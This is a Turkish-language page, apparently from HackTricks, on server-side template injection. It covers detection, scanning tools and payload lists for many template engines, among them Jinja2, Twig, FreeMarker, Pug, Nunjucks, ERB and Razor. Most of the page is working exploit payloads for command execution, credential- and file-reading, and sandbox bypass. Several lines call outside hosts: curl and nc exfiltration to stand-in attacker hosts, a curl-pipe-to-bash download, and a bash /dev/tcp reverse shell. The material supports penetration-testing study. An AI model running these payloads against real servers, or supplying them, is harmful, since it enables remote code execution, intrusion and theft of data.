SSTI (Server Side Template Injection)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SSTI (Server-Side Template Injection) nedir

Server-side template injection, bir saldırganın sunucuda çalıştırılan bir şablona kötü amaçlı kod enjekte edebilmesi durumunda ortaya çıkan bir güvenlik açığıdır. Bu güvenlik açığı Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.

Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanan ve açık içeren bir kod örneğini ele alalım:

output = template.render(name=request.args.get('name'))

Bu güvenli olmayan kodda, kullanıcının isteğinden gelen name parametresi render fonksiyonu kullanılarak doğrudan şablona geçirilir. Bu, bir attacker’ın name parametresine kötü amaçlı kod enjekte etmesine ve server-side template injection’a yol açmasına potansiyel olarak izin verebilir.

Örneğin, bir attacker aşağıdaki gibi bir payload ile bir istek oluşturabilir:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload {{bad-stuff-here}} name parametresine enjekte edilir. Bu payload Jinja template yönergeleri içerebilir; saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine izin vererek sunucu üzerinde kontrol kazanmasına yol açabilir.

Server-side template injection açıklarını önlemek için geliştiriciler, kullanıcı girdilerinin şablonlara yerleştirilmeden önce düzgün şekilde temizlendiğinden ve doğrulandığından emin olmalıdır. Girdi doğrulama uygulamak ve bağlama duyarlı kaçış (escaping) teknikleri kullanmak bu açığın riskini azaltmaya yardımcı olur.

Tespit

Server-Side Template Injection (SSTI) tespiti için başlangıçta, fuzzing the template basit bir yaklaşımdır. Bu, şablona özel karakter dizisi (${{<%[%'"}}%\) enjekte etmeyi ve sunucunun normal veriye kıyasla bu özel payload’a verdiği yanıttaki farkları analiz etmeyi içerir. Açık göstergeleri şunlardır:

  • Hata mesajları, açığı ve potansiyel olarak şablon motorunu ortaya çıkarır.
  • Payload’ın yansımada olmaması veya parçalarının eksik olması, sunucunun bunu normal veriden farklı işlediğini gösterir.
  • Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS’ten ayırın (örn. {{7*7}}, ${7*7}).
  • Kod Bağlamı: Girdiyi değiştirerek açığı doğrulayın. Örneğin, http://vulnerable-website.com/?greeting=data.username içindeki greeting parametresini değiştirip sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu kontrol edin; örneğin greeting=data.username}}hello kullanıcı adını döndürebilir.

Tanımlama Aşaması

Şablon motorunu belirlemek, hata mesajlarını analiz etmeyi veya farklı dile özgü payload’ları manuel olarak test etmeyi içerir. Hata veren yaygın payload’lar arasında ${7/0}, {{7/0}} ve <%= 7/0 %> bulunur. Sunucunun matematiksel işlemlere verdiği yanıtı gözlemlemek, hangi şablon motoru kullanıldığını belirlemeye yardımcı olur.

Payload’larla Tanımlama

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Araçlar

TInjA

yenilikçi polyglots kullanan verimli bir SSTI + CSTI tarayıcısı

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

en verimli template injection polyglots ile 44 en önemli template engines için beklenen yanıtları içeren etkileşimli bir tablo.

Exploits

Genel

Bu wordlist içinde, aşağıda bahsedilen bazı engines ortamlarında tanımlı değişkenleri bulabilirsiniz:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Sistem ortam değişkenlerini al

${T(java.lang.System).getenv()}

Java - /etc/passwd dosyasını Alma

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Payloads’ınızı şurada deneyebilirsiniz: https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ yalnızca Freemarker 2.3.30’dan düşük sürümlerde çalışır

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Daha fazla bilgi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Daha fazla bilgi

Thymeleaf

Thymeleaf’de SSTI zafiyetlerini test etmek için yaygın bir ifade ${7*7}’dir; bu ifade bu template engine için de geçerlidir. Potential remote code execution için aşağıdaki gibi ifadeler kullanılabilir:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf bu ifadelerin belirli attribute’lar içinde yer almasını gerektirir. Ancak, expression inlining diğer template konumları için desteklenir; [[...]] veya [(...)] gibi sözdizimleri kullanılır. Bu nedenle basit bir SSTI test payload’u [[${7*7}]] şeklinde olabilir.

Ancak, bu payload’un çalışması genellikle düşük olasılıklıdır. Thymeleaf’in varsayılan yapılandırması dinamik template üretimini desteklemez; template’ler önceden tanımlanmış olmalıdır. Geliştiricilerin string’lerden anlık olarak template yaratmak için kendi TemplateResolver’larını uygulamaları gerekir ki bu yaygın değildir.

Thymeleaf ayrıca expression preprocessing sunar; çift alt çizgi (__...__) içinde bulunan ifadeler ön işlemden geçirilir. Bu özellik, ifadelerin oluşturulmasında kullanılabilir; Thymeleaf dokümantasyonunda gösterildiği gibi:

#{selection.__${sel.code}__}

Thymeleaf’te Zafiyet Örneği

Aşağıdaki kod parçasını göz önünde bulundurun; sömürüye açık olabilir:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Bu, template engine bu girdileri hatalı işlerse, aşağıdaki gibi URL’lere erişen remote code execution ile sonuçlanabileceğini gösterir:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Daha fazla bilgi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Birden çok değişken ifadesi kullanılabilir; ${...} çalışmıyorsa #{...}, *{...}, @{...} veya ~{...} deneyin.

  • /etc/passwd dosyasını oku
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Özel Script ile payload oluşturma
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Daha Fazla Bilgi

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble’in eski sürümü ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble’in yeni sürümü :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava Hubspot tarafından geliştirilen açık kaynaklı bir projedir, şu adreste mevcuttur: https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Düzeltildi: https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Daha fazla bilgi

Hubspot - HuBL (Java)

  • {% %} komut ayırıcıları
  • {{ }} ifade ayırıcıları
  • {# #} yorum ayırıcıları
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

com.hubspot.content.hubl.context.TemplateContextRequest için arama yapın ve Jinjava project on Github projesini keşfedin.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Daha fazla bilgi

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL), JavaEE’de sunum katmanı (ör. web sayfaları) ile uygulama mantığı (ör. managed beans) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi basitleştirmek için birçok JavaEE teknolojisinde yaygın olarak kullanılır. EL’i kullanan başlıca JavaEE teknolojileri şunlardır:

  • JavaServer Faces (JSF): EL’i, JSF sayfalarındaki bileşenleri ilgili arka uç veri ve işlemlerine bağlamak için kullanır.
  • JavaServer Pages (JSP): JSP’de, sayfa öğelerini uygulama verileriyle bağlamayı kolaylaştırarak JSP sayfalarındaki verilere erişmek ve bunları işlemek için EL kullanılır.
  • Contexts and Dependency Injection for Java EE (CDI): EL, web katmanı ile managed beans arasında sorunsuz etkileşim sağlamak için CDI ile entegre olur ve daha tutarlı bir uygulama yapısı sağlar.

Aşağıdaki sayfayı inceleyerek EL yorumlayıcılarının istismarı hakkında daha fazla bilgi edinebilirsiniz:

EL - Expression Language

Groovy (Java)

Aşağıdaki Security Manager atlatmaları bu writeup’dan alınmıştır.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Diğer Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Daha fazla bilgi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Şablon formatı

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Daha fazla bilgi

Plates (PHP)

Plates, PHP’ye özgü bir template motorudur ve Twig’ten ilham alır. Ancak Twig yeni bir sözdizimi getirirken, Plates şablonlarda yerel PHP kodunu kullanır; bu da PHP geliştiricileri için daha sezgisel olmasını sağlar.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Sayfa şablonu:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Düzen şablonu:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Daha fazla bilgi

PHPlib ve HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib ile aynı, ancak Pear’e port edilmiştir.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Daha fazla bilgi

Diğer PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Daha fazla bilgi

patTemplate (PHP)

patTemplate derleme gerektirmeyen PHP şablon motorudur; bir belgeyi farklı parçalara ayırmak için XML etiketlerini kullanır.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Daha fazla bilgi

Handlebars (NodeJS)

Path Traversal (daha fazla bilgi here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Hata
  • ${7*7} = ${7*7}
  • Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Daha fazla bilgi

JsRender (NodeJS)

ŞablonAçıklama
Çıktıyı değerlendirir ve renderlar
HTML olarak kodlanmış çıktıyı değerlendirir ve renderlar
Yorum
andKoda izin ver (varsayılan olarak devre dışı)
  • = 49

İstemci Tarafı

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Sunucu Tarafı

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Daha fazla bilgi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Örnek sunucu tarafı render

var pugjs = require("pug")
home = pugjs.render(injected_page)

Daha fazla bilgi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Çıktı yok
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Hata
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Daha fazla bilgi

Diğer NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Daha fazla bilgi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Daha fazla bilgi

Diğer Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Aşağıdaki sayfaya bakın: python’da arbitrary command execution bypassing sandboxes ile ilgili hileleri öğrenmek için:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Daha fazla bilgi

Jinja2 (Python)

Official website

Jinja2, Python için tam özellikli bir şablon motorudur. Tam Unicode desteğine sahiptir, isteğe bağlı entegre sandboxed execution environment sunar, yaygın olarak kullanılır ve BSD lisanslıdır.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Şablon formatı

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE bağımlı değil __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja’yı nasıl istismar edeceğinize dair daha fazla detay:

Jinja2 SSTI

Diğer payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Daha fazla bilgi

Diğer Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
